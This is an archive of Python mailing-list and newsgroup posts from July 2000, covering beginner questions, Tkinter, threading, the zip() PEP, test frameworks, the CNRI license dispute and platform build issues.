> does anyone know where i can find some example python/tkinter code? i am
> trying to learn, but i think some examples of how to use all those widgets
> would be useful.

How about in the Python source distribution in the directory
Demo/tkinter?

> also, how can i change the text on a label? when i use the
> variabletext=whatever thing, the label wont show up.

See http://www.secretlabs.com/library/tkinter/introduction/index.htm
for lots of useful tkinter information.


From montagne at boora.com  Mon Jul  3 13:41:51 2000
From: montagne at boora.com (michael montagne)
Date: Mon, 3 Jul 2000 10:41:51 -0700
Subject: WinNT User Name
Message-ID: <Ae485.94210$5k2.194235@dfw-read.news.verio.net>

First off, I'm a newbie at Python.
I'm trying to return the user who is logged on at a PC.  What I really need
is the login name.  How do I do that?  Seems like it otta be quite simple
but I'm having trouble.

-mjm




From claird at starbase.neosoft.com  Wed Jul 19 17:35:31 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 19 Jul 2000 16:35:31 -0500
Subject: newb question
References: <39761E61.1E2191B4@tcgfinancial.com>
Message-ID: <4EC92E18ACA00181.72E3F9F1575615E2.1B81AD7D6A3BF3C5@lp.airnews.net>

In article <39761E61.1E2191B4 at tcgfinancial.com>,
jtoy  <toyboy at toy.eyep.net> wrote:
>Can you tell me how I can make a python program find the IP address of
>the local machine?  If possible, I would like to make this not matter
			.
			.
			.
<URL:http://deja.com/=dnc/viewthread.xp?AN=647780785>

As thanks, you have to tell us what you're going to do with it.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From rgoto at aa.net  Sun Jul  2 19:30:40 2000
From: rgoto at aa.net (Robert Goto)
Date: Sun, 2 Jul 2000 16:30:40 -0700
Subject: Newbie question  re: regsub
References: <395fc90a$1_1@huge.aa.net>
Message-ID: <395fcc6d$1_2@huge.aa.net>

What is even more maddening to me is that when I save it to a module and run
it from NT command prompt......the output I get is the original file
contents only........like there was no regsub.gsub!!
"Robert Goto" <rgoto at aa.net> wrote in message
news:395fc90a$1_1 at huge.aa.net...
> I am sure there is a very simple answer to this.
> >>> import regsub
> >>> fimo = open('fimo.txt')
> >>> while 1:
>  line = fimo.readline()
>  if not line: break
>  regsub.gsub('orange', 'red', line)
>  print line
>
>
> 'red red red red red red red'
> red orange red red red red red
> >>>
>
> The file I am opening which is called fimo.txt only contains the string
> withouth ' marks  red orange red red red red red.
>
> What I want it to do is print the changed string  only....but what I am
> getting is both the original string and the changed string?!
>
> Any pointers would be greatly appreciated.
>
>




From thomas at xs4all.net.bbs  Sun Jul 16 11:20:03 2000
From: thomas at xs4all.net.bbs (thomas at xs4all.net.bbs)
Date: 16 Jul 2000 15:20:03 GMT
Subject: Imports in classes??
Message-ID: <3bQQk3$k0A@openbazaar.net>

On Sun, Jul 16, 2000 at 03:11:03PM +0000, Martin Sk?tt wrote:

> Im currently writing a database applikation using Python and
> PostgreSQL. Because I need both a GUI and a web interface i have
> chosen to divide the program in three classes (and files): one containing my
> database queryes and one for each interface type. But where would be
> the right place to import my database connection module (pygresql)? In
> each interface file or in the query file?
> I guess both solutions would would work, but what would be the "right
> thing"?

The right thing would be to do it when you need it. If you need the pygresql
module in each interface file (that is, you actually reference it), you will
have to put it in there. If you don't, well, don't :-) Don't import modules
you aren't going to use.

--
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!


From jkraska1 at san.rr.com  Mon Jul 10 22:00:47 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Tue, 11 Jul 2000 02:00:47 GMT
Subject: Circular reference problem -- advice?
References: <396A1EC6.6738CFCC@alcyone.com> <20000710123559.A2218@freei.com> <20000710214046.P26534@xs4all.nl>
Message-ID: <396A807B.A0A9E92B@san.rr.com>

> Don't forget that an instnace's __dict__ doesn't list methods, just data
> members. (instance methods are created on the fly, from the unbound
> versions, and not stored in the instance's __dict__.)

But of course, they *are* in the class object's dict:

>>> class myclass:
	def f():
		pass
		
		
>>> m = myclass()
>>> m.__dict__
{}
>>> myclass.__dict__
{'f': <function f at 833e50>, '__module__': '__console__', '__doc__': None}
>>> 



Not sure, but suspect this semantic can't be relied on.



C/


From bwarsaw at beopen.com  Fri Jul 28 01:50:57 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Fri, 28 Jul 2000 01:50:57 -0400 (EDT)
Subject: [Python-Dev] PEP 201, zip() builtin
References: <14720.35958.632383.574511@anthem.concentric.net>
	<LNBBLJKPBEHFEDALKOLCAEHBGMAA.tim_one@email.msn.com>
Message-ID: <14721.8001.902979.957977@anthem.concentric.net>

>>>>> "TP" == Tim Peters <tim_one at email.msn.com> writes:

    TP> Could we please change "Parallel" to, e.g., "Lockstep"
    TP> throughout?  Greg Wilson correctly pointed out that "parallel"
    TP> in the context of loops means something very different to the
    TP> scientific branch of the Python community.  Easier to fix this
    TP> now that after it's spread to the docs.

I know, and I guess I never came up with anything better which is why
I didn't change it.  "Lockstep" it is.

    TP> Just as you realized how inappropriate "parallel" was right
    TP> here <wink>.

Heh.

    >> # find the length of the shortest sequence shortest =
    >> min(*map(len, args))

    TP> Clearer as

    >> shortest = min(map(len, args))

A little experimentation leftover.  Good catch.

    TP> However, this implies that all sequences must tell the truth
    TP> about their lengths, but the iteration protocol actually
    TP> terminates via a sequence raising IndexError.  I believe we
    TP> want zip to follow the iteration protocol, in effect breaking
    TP> out of the outer loop as soon as some s[i] raises IndexError.
    TP> This was agreed to by all (incl. the BDFL) in some other
    TP> year's debates over this.

Yup, I always intended the C implementation to obey the undocumented
iteration protocol.  But it /is/ better if the PEP's implementation
were closer to the eventual C code, so I've swapped in a replacement.

    >> prefers zip() due to it's Haskell[2] heritage.  See version 1.7

    TP> "its", not "it's"

Good catch.

    >> - Lazy evaluation.  An earlier version of this PEP proposed
    >> that zip() return a built-in object that performed lazy
    >> evaluation using __getitem__() protocol.  This has been
    >> strongly rejected by the BDFL in favor of returning a real
    >> Python list.  If lazy evaluation is desired in the future, the
    >> BDFL suggests an xzip() function be added.

    TP> Which he'll then fight tooth and nail <wink>.

:)

    >> ...

    TP> Nice job, Barry!  Thank you.

My pleasure!
-Barry



From denalione at my-deja.com  Thu Jul 20 08:12:06 2000
From: denalione at my-deja.com (Dale Burnett)
Date: Thu, 20 Jul 2000 12:12:06 GMT
Subject: Waiting for Threads to Stop
References: <lzBd5.7626$IZ1.59773@iad-read.news.verio.net>
Message-ID: <8l6qab$ftc$1@nnrp1.deja.com>

In article <lzBd5.7626$IZ1.59773 at iad-read.news.verio.net>,
  "Doug Fort" <dougfort at downright.com> wrote:
> I have several cases where I want one thread to wait for one or more
other
> threads to terminate.  I've had poor results attempting to spin on
isAlive()
> in join().  I'm contemplating  using a  semaphore.  Has anyone got a
more
> elegant idiom?
> --
> Doug Fort
> Meat Manager
> Downright Software
> http://www.dougfort.com/~dougfort
>
>

On windows you can use the Win32 functions WaitforSingleObject, SetEvent
and CreateEvent.  If you cant or dont want to use the win32 functions,
then check out the Event Objects in the threading module.




Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Wed Jul 19 18:26:46 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 19 Jul 2000 22:26:46 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
Message-ID: <8l59v6$oq7$1@slb6.atl.mindspring.net>

In article <Pine.LNX.4.10.10007191505070.1129-100000 at rocket.knowledgetrack.com>,
Huaiyu Zhu  <huaiyu_zhu at yahoo.com> wrote:
>
>Now that Guido has given the go-ahead for adding new operators for numerical
>computation, let us consider carefully how to allocate this new resource,
>taken into account Tim's guidelines.

Um, has Guido actually given a go-ahead for adding to the language, or
has Guido simply asked for a complete proposal to *consider* putting
into the language?  Do you have a handy reference for his precise words?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From matt at nightrealms.com.bbs  Mon Jul 17 16:50:04 2000
From: matt at nightrealms.com.bbs (matt at nightrealms.com.bbs)
Date: 17 Jul 2000 20:50:04 GMT
Subject: Type checking in python?
Message-ID: <3bRP2V$mHy@openbazaar.net>

In article <397296BC.415C97E1 at prescod.net>, Paul Prescod
<paul at prescod.net> wrote:

> Matthew Cline wrote:
>>
>>   def my_func(foo, bar, quux):
>>      if not isinstance(quux, Quux):
>>         raise RuntimeError("param 'quux' must be of class 'Quux'")
>
> Let me also point out that in many cases, this style of programming
> would be frowned upon by serious Python programmers. For instance,
> if you check that something is a string, your code will complain
> when it is handed a Unicode string, even though it would probably
> work fine. If you check that it is an open file, then your code
> probably will complain about stringIO file-like objects, even though
> it would probably work fine.

That's another reason why I'd like the type checking to be done by the
Python compiler, because it could be intelligent about those things.
Like for "list" it could accept a tuple, a list, or anything derived
from UserList.


From neilh at scintilla.org.bbs  Sun Jul 16 20:30:01 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 17 Jul 2000 00:30:01 GMT
Subject: "Intellisense" drop-down...
Message-ID: <3bQfDP$kuO@openbazaar.net>

> Here it is, folks, the ability to use another key than TAB to select a
word
> in the AutoComplete list:

   I like it - good to see someone new improving PythonWin.

   A small problem with Ctrl+Enter is that it works in the editor but not
the interactive window.

   Neil


From stephen at cerebralmaelstrom.com  Wed Jul  5 05:31:24 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Wed, 05 Jul 2000 09:31:24 GMT
Subject: Acronyms, Names of Projects, etcetera. OTish.
Message-ID: <MfD85.115296$WS3.974982@typhoon.we.rr.com>

I've been off-and-on working on a pet project for awhile now, that
frequently gets started up when I decide I want to learn something new, then
gets put away after I learn said something. And as I learn more, it tends to
get competely revamped in design and implementation.

The only consistant thing that i've had so far is a name 'Pyces', pronounced
Pisces. So i'm all happily, idly, coding in a hobby-ish fashion, and come
across a post on random numbers..and blam!... I see a projected NAMED
Pisces, and..well, obviousely pronounced Pisces. That just won't do. So, I
had to come up with a new name -- and a new acronym, of course.

Behold the wonder that i've come up with, after spending way more time then
I will ever admit to...

Pyramid (I don't care if anyone else has something named this!)

PYthonic Repository for Advanced Missive Interpretation and Distribution

lol. I'm sorry, this is really a pointless message. I just rather proud of
my silly acronym.

Ten cents to the person who guesses what it is :) (Not that it's that hard.)

--Stephen




From loewis at informatik.hu-berlin.de  Sun Jul  9 06:25:26 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 09 Jul 2000 12:25:26 +0200
Subject: default exception handler
References: <Pine.LNX.4.21.0007080024450.7789-100000@krispc6.physik.uni-karlsruhe.de>
Message-ID: <p6qd7kn4n3d.fsf@informatik.hu-berlin.de>

Johannes Zellner <johannes at zellner.org> writes:

> is it possible to install a default exception handler?
> E.g. if the interactive py shell gets a NameError I'd
> like it to call my own handler.

You could *replace* the interactive shell, take all input from the
user, execute it, and then do with exceptions whatever you want. This
is how IDLE works.

Regards,
Martin



From mwh21 at cam.ac.uk  Mon Jul 24 15:49:02 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 24 Jul 2000 20:49:02 +0100
Subject: Test framework of choice?
References: <8F7B7D888beablebeable@209.155.56.81>
Message-ID: <m37labcnrl.fsf@atrus.jesus.cam.ac.uk>

mmorris at mindspring.com (Mitchell Morris) writes:

[schnipp]
> Are there any plans to include 
> any kind of regression testing framework into the standard distribution?

Well, there is one; it's Lib/test/regrtest.py starting from $(topdir).
It's not all that great though (it's OK, but there's no easy way of
using it outside the tree).  There's talk of sprucing it up/adopting a
better framework but I don't think anyone has come up with comcrete
plans yet.

Cheers,
M.

-- 
  surely, somewhere, somehow, in the history of computing, at least
  one manual has been written that you could at least remotely
  attempt to consider possibly glancing at.              -- Adam Rixey


From swun at eSec.com.au  Tue Jul 25 01:28:25 2000
From: swun at eSec.com.au (Sam Wun)
Date: Tue, 25 Jul 2000 15:28:25 +1000
Subject: How to async the log file.
Message-ID: <397D2578.CFA345D4@eSec.com.au>

There are multiple threads tying to write to a log file.
How can I async this process to avoid the race condition?
Or has it been handled by the kernel automatically??

Thanks
Sam.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000725/dd062479/attachment.html>

From fannyy at idmail.com  Mon Jul 10 12:12:12 2000
From: fannyy at idmail.com (Fanny Yeung)
Date: Mon, 10 Jul 2000 09:12:12 -0700
Subject: Is there any grid/table in Tkinter ?
References: <07ga5.11385$BS1.314666@brie.direct.ca> <j6jjms4ev3tok760njkhk550nd78rpn1oa@4ax.com>
Message-ID: <Xlma5.11500$BS1.321585@brie.direct.ca>

Hi Martin,
Thank for your reply. But I wonder where I can find Doug Hellmann's grid
widget ?

Mak
Martin Rand <hsl at tcp.co.uk> wrote in message
news:j6jjms4ev3tok760njkhk550nd78rpn1oa at 4ax.com...
> On Mon, 10 Jul 2000 02:06:38 -0700, "Fanny Yeung" <fannyy at idmail.com>
> wrote:
>
> >Hi everybody,
> >
> >I am reading "Python and Tkinter Programming" and I am thinking of
writing a
> >simple database application that need to show table of data ( something
> >similar to grid control in VB or Jtable in Swing). I guess I can use
Canvas
> >to implement that but I wonder anyone have implement this already ? If
yes,
> >can I use it ? Or is there by any chance provided by Tkinter directly or
> >indirectly ?
> >
> Doug Hellmann's contributed extras to Pmw include a simple grid widget
> for displaying a sequence collection. It probably won't do all you
> want, but is a starting point for deriving your own.
>
> --
> Martin Rand
> Highfield Software Ltd
> mwr at highfield-software.co.uk
> Phone: +44 (0)23 8025 2445
> Fax:   +44 (0)23 8025 2445




From nowonder at nowonder.de  Fri Jul 28 06:40:03 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Fri, 28 Jul 2000 10:40:03 +0000
Subject: [Draft] Open Letter to CNRI: Request for clarification
Message-ID: <39816303.C808D05A@nowonder.de>

I like the idea of an open letter to CNRI expressing the concern of the
Python Language Community. It cannot hurt to have them know what we feel
about the issues at hand. Unfortunately, as Martijn observed, the issues
at hand are not easy to define. I have nevertheless tried my neurons on
a draft. I am very open to every kind of critique or addition to this one
(please correct my English, too, as it is not my mother tongue):

--- begin open letter -------------------------------------------------------
To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
    (president of The Corporation for National Research Initiatives)

Dear Mr. Kahn,

as a member of the Python Community which gathers around the newsgroup
comp.lang.python I would like to express my concern about the latest
license issues that have arisen around the new 1.6/2.0 releases.

As of now I have not had the chance to witness any official statement
from your institution. So I sincerely request a clarification of CNRI's
position on this matter.

I have attached a list of signatures of members of the Python Community
who are also concerned about the recent developments and through their
signature support this request for clarification.

Kind regards,
Peter Schneider-Kamp

P.S.:
I find it rather startling that you see a need to change the license of
a software whose development already has moved away from your institution.

--- end open letter ----------------------------------------------------------
--- begin signature list -----------------------------------------------------
Diehard Py. Fan (diehard at python.fan)
Implementation Issue (impl at implement.com)
Want My Python Now (Want.My at Python.Now)
...
--- end signature list -------------------------------------------------------

Or should it better by a letter from the community to CNRI?

while 1: if feedback: break
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From thomas at xs4all.net  Tue Jul  4 02:34:59 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 4 Jul 2000 08:34:59 +0200
Subject: how to push data in to ssh in python?
In-Reply-To: <396126E7.B10A450B@esec.com.au>; from swun@esec.com.au on Tue, Jul 04, 2000 at 09:51:03AM +1000
References: <395FF2D9.1B46251D@esec.com.au> <slrn8m0hvm.m2b.thomas@centurion.xs4all.nl> <396126E7.B10A450B@esec.com.au>
Message-ID: <20000704083459.C283@xs4all.nl>

On Tue, Jul 04, 2000 at 09:51:03AM +1000, Sam Wun wrote:
> Thomas Wouters wrote:
> 
> > On Mon, 03 Jul 2000 11:56:41 +1000, Sam Wun <swun at esec.com.au> wrote:
> >
> > >Thanks
> >
> > Your question is incomplete. What do you want to do ? Did you look at
> > popen(), and is it not what you want ? Does ssh require the input to
> > come from a pseudo-terminal ? Can't you use a normal shell pipeline and
> > make your python script just 'print' what you want to output ? Are you
> > encountering difficulties with any of these ideas, or not finding the
> > right documentation?

> Oh yes, I actually print it to the stdout, and intended to use command
> "ssh -l swun hostname < out.dump" to send out.dump to the "hostname" in
> "swun" account, but I am not sure how to set up the "swun" account to
> receive this transaction.

'ssh' is 'secure shell'. If you give it no additional arguments, it spawns a
new shell for you, on the remote machine. If you do give it more, it'll
start that as a program on the remote machine. So, if you want ssh on the
remote machine to dump the output to a file, you can probably do

ssh -l login machine "cat > outfile.dump"

or some such. The quotes are necessary, by the way, to make sure the '>'
redirection is passed to ssh, not interpreted by your shell. But if you
intend to cat a local file, why not scp the file instead ?

scp outfile.dump login at machine:

Your question is more of 'how do I use ssh' than 'how do I use python' ;)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From stianh at ifi.uio.no  Fri Jul 28 02:10:21 2000
From: stianh at ifi.uio.no (Stian Husemoen)
Date: 28 Jul 2000 06:10:21 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCMEHNGMAA.tim_one@email.msn.com>
Message-ID: <slrn8o28s2.l2n.stianh@localhost.localdomain>

Tim Peters wrote:
>The old Python license served it very well for a decade.  

It served CNRI very well.. as it made it possible for them to grab a hold of
everyones contribution and make it their own property. 

The hole driving force of a open source project is that people feel they own
a part of the code. If that's taken away, people will stop working on the
project.

-- 

Stian Husemoen <stianh>


From edream at tds.net  Fri Jul  7 15:00:59 2000
From: edream at tds.net (Edward K. Ream)
Date: Fri, 07 Jul 2000 19:00:59 GMT
Subject: FILE * arguments in C API ??
Message-ID: <396628D5.12ECD88@tds.net>

I'm considering embedding the Python interpreter into a Windows app
built with Borland C++ Builder.  Naturally, I would prefer to use the
libraries in Python/libs rather than building the interpreter with C++
Builder, which would not be pleasant without Borland-specific make
files.

Alas, there appears to be a botch in the C API's.  In particular,
routines like

   int PyRun_AnyFile (FILE *fp, char *filename)

can not be included usefully in python/libs because struct FILE's will
be different when built by different compilers. This wouldn't matter if
it
were easy/possible to rebuild python/libs using one's own compiler.

Any comments?  Any suggestions?

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From mranga at nist.gov  Fri Jul 28 18:41:51 2000
From: mranga at nist.gov (mranga at nist.gov)
Date: Fri, 28 Jul 2000 22:41:51 -0000
Subject: tkinter for tk8.3?
Message-ID: <8lt27f+4dbg@eGroups.com>

Hello!

I am a newcomer to python but have been programming tcl/tk for some
time. I would like to use some of the newer features of tk8.3,
however, I noticed that the compiled distribution of python only
specifices tk8.0. Before I attempt to rebuild with the latest tk
version, I would like to know if there are any "gotcha's" that would
make this impossible/difficult to do.

Thank you.

Ranga.





From hsl at tcp.co.uk  Mon Jul 10 12:53:04 2000
From: hsl at tcp.co.uk (Martin Rand)
Date: Mon, 10 Jul 2000 17:53:04 +0100
Subject: tkinter menus
References: <8kcmeb$m5r$1@nnrp1.deja.com>
Message-ID: <5vujmsg8hdf54luae6e2c0jivv93qheu9h@4ax.com>

On Mon, 10 Jul 2000 14:26:40 GMT, Keith Murphy <kpmurphy at my-deja.com>
wrote:

>menu, menu... anyone, anyone?
>
>	How do you configure top-level menu entries?  I'd like to put a 'help'
>menu (and possibly others) on the right end of the menu bar.  I've seen
>examples where you make your own frame... but there has to be a way
>built in... doesn't there?  :)
>
In Tkinter, when you use the appropriate geometry manager to put the
button in the menu bar. E.g:
helpButton = Menubutton(myMenuBar, ...)
helpButton.Pack(side=RIGHT, ...)

Or if you're using Pmw, then you can do something like:
myMenuBar = Pmw.MenuBar(...)
myMenuBar.addmenu(side=RIGHT,...)

--
Martin Rand
Highfield Software Ltd
mwr at highfield-software.co.uk
Phone: +44 (0)23 8025 2445
Fax:   +44 (0)23 8025 2445


From johngrayson at home.com  Mon Jul 24 12:51:36 2000
From: johngrayson at home.com (John Grayson)
Date: Mon, 24 Jul 2000 16:51:36 GMT
Subject: tkinter: grid: expand and fill
References: <8lhrbd$t4v$1@nnrp1.deja.com>
Message-ID: <8lhs6l$tpt$1@nnrp1.deja.com>

In article <8lhrbd$t4v$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> is there a way to make a frame, that's been formatted using grid,
expand
> to fill the space it is given?
>
> thanks,
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>

Try  " sticky=NSWE " in the grid method call for the frame...


Sent via Deja.com http://www.deja.com/
Before you buy.


From anthony at interlink.com.au  Thu Jul 27 21:17:31 2000
From: anthony at interlink.com.au (Anthony Baxter)
Date: Fri, 28 Jul 2000 11:17:31 +1000
Subject: Perl is worse! (was: Python is Wierd!) 
In-Reply-To: Message from grey@rpglink.com (Steve Lamb) 
   of "Thu, 27 Jul 2000 16:00:12 GMT." <slrn8o0n0b.qhk.grey@teleute.rpglink.com> 
Message-ID: <200007280117.LAA23637@mbuna.arbhome.com.au>

>>> Steve Lamb wrote
>     Range returns an error because of a bad type being stuffed into it.  Perl
> at least sees that it is a number and makes the conversion itself.  I had to
> get around it by changing the foo assignment line to:
> foo = int(match.group(3))

Euw! No, the "oh, I know what you want that to be, I'll change it
for you" is my #1 all-time perl hate. I want a 
"use really_strict_and_leave_my_types_alone" option before I ever
consider looking at perl for anything ever again. Particularly when
combined with magic linenoise - use the wrong bit of linenoise, and
suddenly your large complex datastructure is an int. Yaaay.

Anthony

-- 
Anthony Baxter     <anthony at interlink.com.au>   
It's never too late to have a happy childhood.




From erno at iki.fi  Fri Jul 21 21:49:50 2000
From: erno at iki.fi (Erno Kuusela)
Date: 22 Jul 2000 04:49:50 +0300
Subject: Creating a setuid script
References: <39789242.C93B0446@glo.be>
Message-ID: <kur98nue69.fsf@lasipalatsi.fi>

consider creating a group that contains users allowed to modify
the contents of the file, it is much safer than playing with fire
(superuser priviliges).

  -- erno


From aahz at netcom.com  Sun Jul 16 22:59:08 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 17 Jul 2000 02:59:08 GMT
Subject: Funding vs Python
References: <8kt4rj$d4n$1@nnrp1.deja.com>
Message-ID: <8ktsps$985$1@nntp9.atl.mindspring.net>

In article <8kt4rj$d4n$1 at nnrp1.deja.com>,
Andy Freeman  <anamax at earthlink.net> wrote:
>
>No good deed goes unpunished, so now I'm getting push back along the
>lines of "we can't get funded if it's in Python".  (Somehow, I don't
>think that using Perl would have produced the same reaction.)
>
>I've seen the list of web projects at python.org, so I'm wondering
>if there are others or if there really are examples of companies that
>didn't get funded because they used Python.

I don't know of any companies that didn't get funded due to use of
Python, but there are plenty of funded companies that *do* use Python.
(E.g., my company, http://www.searchbutton.com/)
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From loewis at informatik.hu-berlin.de  Thu Jul 13 05:03:49 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 13 Jul 2000 11:03:49 +0200
Subject: Beginner's question about reference counts...
References: <yor1z0zfl5s.fsf@apex.ccs.yorku.ca>
Message-ID: <p6qitua1jwq.fsf@informatik.hu-berlin.de>

Miguel Marques <miguel at apex.ccs.yorku.ca> writes:

> I think I need to, because PyDict_SetItemString INCREFs both keys and
> values and otherwise the reference count for newdict will off by one?

Exactly, yes. Think of every reference in the counter being "owned" by
somebody. The d dictionary owns its own reference to d, and you keep
the reference given to you when the dictionary was created - so you
have to drop it when you don't need it anymore.

Regards,
Martin


From dalke at acm.org  Mon Jul 24 21:19:21 2000
From: dalke at acm.org (Andrew Dalke)
Date: Mon, 24 Jul 2000 19:19:21 -0600
Subject: Test framework of choice?
References: <8F7B7D888beablebeable@209.155.56.81> <m37labcnrl.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <8lipn6$la5$1@slb3.atl.mindspring.net>

Michael Hudson wrote:
>Well, there is one; it's Lib/test/regrtest.py starting from $(topdir).
>It's not all that great though (it's OK, but there's no easy way of
>using it outside the tree).  There's talk of sprucing it up/adopting a
>better framework but I don't think anyone has come up with comcrete
>plans yet.

We use regrtest at my previous company.  It worked pretty well.
The only big mod I had to make was to get the imports correct.
We had Python code in the top-level and the tests under "test/".
If the code was really a package, we needed to include ../..
in the PYTHONPATH, but if we simply added that to the path we
might accidentally include sister package.  So we needed to play
some tricks to make ".." act like the right package name.

The modified code, called br_regrtest, is included in the PyDaylight
package off my starship page (crew/dalke).

The other things is it's a different approach than the XP people
use.  We had a discussion about this on the biopython list.  The two
are isomorphic, but the XP approach makes it easier to tear out parts
of a test package for use elsewhere - the subcomponents are quite
independent.  On the other hand, the same can occur with the regrtest
design, but it doesn't place the same emphasis.  As to the reasons
for the XP approach, I'm still not sure.  I got the feeling that
XP's view was more like QA people use while regrtest was the developer's
viewpoint.  Need to learn more about XP...

                    Andrew
                    dalke at acm.org





From donn at u.washington.edu  Fri Jul 21 12:44:20 2000
From: donn at u.washington.edu (Donn Cave)
Date: 21 Jul 2000 16:44:20 GMT
Subject: iterating over lines in a file
References: <u1z0oeall.fsf@ctwd0143.fitlinxx.com> <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org>
Message-ID: <8l9ul4$9fa6$1@nntp6.u.washington.edu>

Quoth David Bolen <db3l at fitlinxx.com>:
| cjc26 at nospam.cornell.edu (Cliff Crawford) writes:
|> readlines() has an optional argument which specifies the approximate
|> number of bytes to read in at a time, rather than the entire file.
|> So something like
|> 
|> for line in file.readlines(8192):
|>     # process line
|> 
|> would only use about 8k of memory.
|
| And only fully process files less than 8K in size.  The call to
| file.readlines(8192) returns the list of lines contained within the
| first 8K of the file (approximately), and that's all the 'for' is
| going to iterate over.  You have to repeatedly call file.readlines()
| again to keep reading the file, which puts you pretty much back in the
| original readline() mode, just with bigger chunks.

Sure, but it's a useful idiom where the expected file is under
ca. 500 bytes in any sane case.  The upper limit keeps the potential
insane case from wiping out the program.  (Numbers arbitrary.)
Not an approach we would always want to take, but there could be
a place for it.

	Donn Cave, donn at u.washington.edu


From paul at prescod.net  Thu Jul 20 02:40:23 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 01:40:23 -0500
Subject: Locating Python modules
References: <31575A892FF6D1118F5800600846864D4C706A@intrepid> <39768E53.63C422A3@pehr.net>
Message-ID: <39769ED7.DCB91C40@prescod.net>

pehr anderson wrote:
> 

> In the linux world, this problem is pretty much licked.
> ...

> 
> Of course, if you are stuck in windows world, you have
> to suffer the slings and arrows of maintaining *anything*
> under windows. 
> ...

Python runs on a lot more than those two platforms!
-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From bercovic at swi.psy.uva.nl  Mon Jul 17 19:35:11 2000
From: bercovic at swi.psy.uva.nl (Avi Bercovich)
Date: Mon, 17 Jul 2000 16:35:11 -0700
Subject: PIL for SGI IRIX
References: <396BD2E7.1E38FF95@bioeng.ucsd.edu> <8khvnb$4hhhn$1@fido.engr.sgi.com>
Message-ID: <3973982F.AA23C3CC@swi.psy.uva.nl>

> My suspicion is that you've got o32/n32 issues.

Correct.

A solution is to edit the configure script or call configure like so,
given that your zlib is in /usr/freeware/lib32

LD_LIBRARY_PATH=/usr/freeware/lib32 ./configure
--with-all-kinds-of-options

this sometimes works for me. What I now have resorted to doing is to
actually find the bit in configure that is causing the trouble, and
simple hardcode the lib-paths into configure.

in the above case it would be something like this:

1. look for LIBS="-lz" in configure
2. edit the LIBS="-lz" line to something like:
LIBS="-L/usr/freeware/lib32 -lz"
3. use common sense to see if any other stuff needs editing like the
<zlib.h> include declatation, which would become
"/usr/freeware/include/zlib.h"

't is a pain in the butt to weed out all them little buggers, but it
works everytime.

hope this helps,

avi


PS> If someone knows how to do this in a more 'elegant' fashion - great.
I've just got a feeling that autoconf is very GNU/Linux specific wrt lib
locations.


From jbauer at rubic.com  Mon Jul 31 16:18:21 2000
From: jbauer at rubic.com (Jeff Bauer)
Date: Mon, 31 Jul 2000 15:18:21 -0500
Subject: httplib hung on read
References: <8m4m48+g8f4@eGroups.com>
Message-ID: <3985DF0D.82AC5D79@rubic.com>

ftian at cs.wisc.edu wrote:
> I am using the httplib to get some webpage, it hungs sometimes
> in the following senario,

Tim O'Malley just wrote and posted a socket class
with automatic timeout:

   http://www.timo-tasi.org/python/timeoutsocket.py

Jeff Bauer
Rubicon Research



From Wolfgang.Strobl at gmd.de.bbs  Mon Jul 17 08:30:03 2000
From: Wolfgang.Strobl at gmd.de.bbs (Wolfgang.Strobl at gmd.de.bbs)
Date: 17 Jul 2000 12:30:03 GMT
Subject: Pythonwin 132: Letters with Umlaut cause problems
Message-ID: <3bRC1S$kCV@openbazaar.net>

"Neil Hodgson" <neilh at scintilla.org> wrote:

>> working with the new Build 132 of Pythonwin we have a minor problem.
>> German Umlauts are not handled properly in the editor windows.
>> They are shown as boxes, some of them seem to be dead keys.
>>
>> The problem did not exist in previous builds.
>> Does anyone have a hint ?
